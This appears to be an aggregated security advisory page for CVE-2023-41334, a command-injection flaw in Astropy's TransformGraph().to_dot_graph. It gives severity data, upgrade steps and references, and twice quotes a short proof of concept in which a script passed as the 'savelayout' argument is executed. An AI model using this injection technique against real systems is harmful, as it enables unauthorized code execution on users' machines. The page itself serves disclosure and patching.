CVE-2023-41334: Astropy Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-h2x6-5jx5-46hf
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CVSS 8.4
CWE-74 CWE-77
Published
Advisory Summary

CVE-2023-41334 is a HIGH (CVSS 8.4) remote code execution vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Astropy libraries in the PyPI ecosystem. The issue involves rce in tranformgraph().to_dot_graph function. Remediation is available by upgrading affected packages to version 5.3.3.

CVE-2023-41334 at a Glance

CVE Identifier CVE-2023-41334
GHSA Identifier GHSA-h2x6-5jx5-46hf
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Astropy
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-41334

To remediate this vulnerability, upgrade all affected Astropy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

astropy fixed: 5.3.3 
pip install astropy>=5.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show astropy

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-41334, inspect your installed packages using pip:

pip show astropy

Analyze the terminal output to locate any version of Astropy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.3.3), your application is affected.

Note: The pip show astropy command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Astropy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function ### Details Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully. ### PoC ```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not 'str' >>> ``` ```shell $ cat /tmp/poc.txt astrorce ``` ### Impact code execution on the user's machine

CVE-2023-41334 Affected Astropy Versions

1 component(s)
Fixed Versions:
5.3.3
Product / Package Ecosystem Affected Versions Fixed Version
astropy
pypi/astropy
PyPI
< 5.3.3
5.3.3

References

GitHub Advisory / Wiki ADVISORY
https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf
NVD — CVE-2023-41334 NVD
https://nvd.nist.gov/vuln/detail/CVE-2023-41334
Security Fix Commit FIX COMMIT
https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5
Astropy Source Repository REPOSITORY
https://github.com/astropy/astropy
Astropy Source Repository REPOSITORY
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539

Frequently Asked Questions

What is CVE-2023-41334?
CVE-2023-41334 is a security vulnerability in Astropy involving RCE in TranformGraph().to_dot_graph function under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Astropy versions are affected?
Affected versions include releases prior to 5.3.3 across affected packages: astropy.
What version fixes CVE-2023-41334?
Upgrading to 5.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is astropy affected?
Yes, astropy is affected in releases prior to 5.3.3. Upgrade your dependency to 5.3.3 or later.
What is the CVSS score of CVE-2023-41334?
CVE-2023-41334 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-41334?
CVE-2023-41334 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2023-41334?
Run the dependency tree command: 'pip show astropy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
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  "schema_version" : "1.4.0",
  "id" : "GHSA-h2x6-5jx5-46hf",
  "modified" : "2024-03-18T21:46:18Z",
  "published" : "2024-03-18T20:26:33Z",
  "aliases" : [ "CVE-2023-41334" ],
  "summary" : "RCE in TranformGraph().to_dot_graph function",
  "details" : "### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce > /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> from astropy.coordinates.transformations import TransformGraph\n>>> tg = TransformGraph()\n>>> tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not 'str'\n>>> \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user's machine\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
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      "name" : "astropy"
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      "type" : "ECOSYSTEM",
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    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-41334"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/astropy/astropy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-18T20:26:33Z",
    "nvd_published_at" : "2024-03-18T19:15:05Z"
  }
}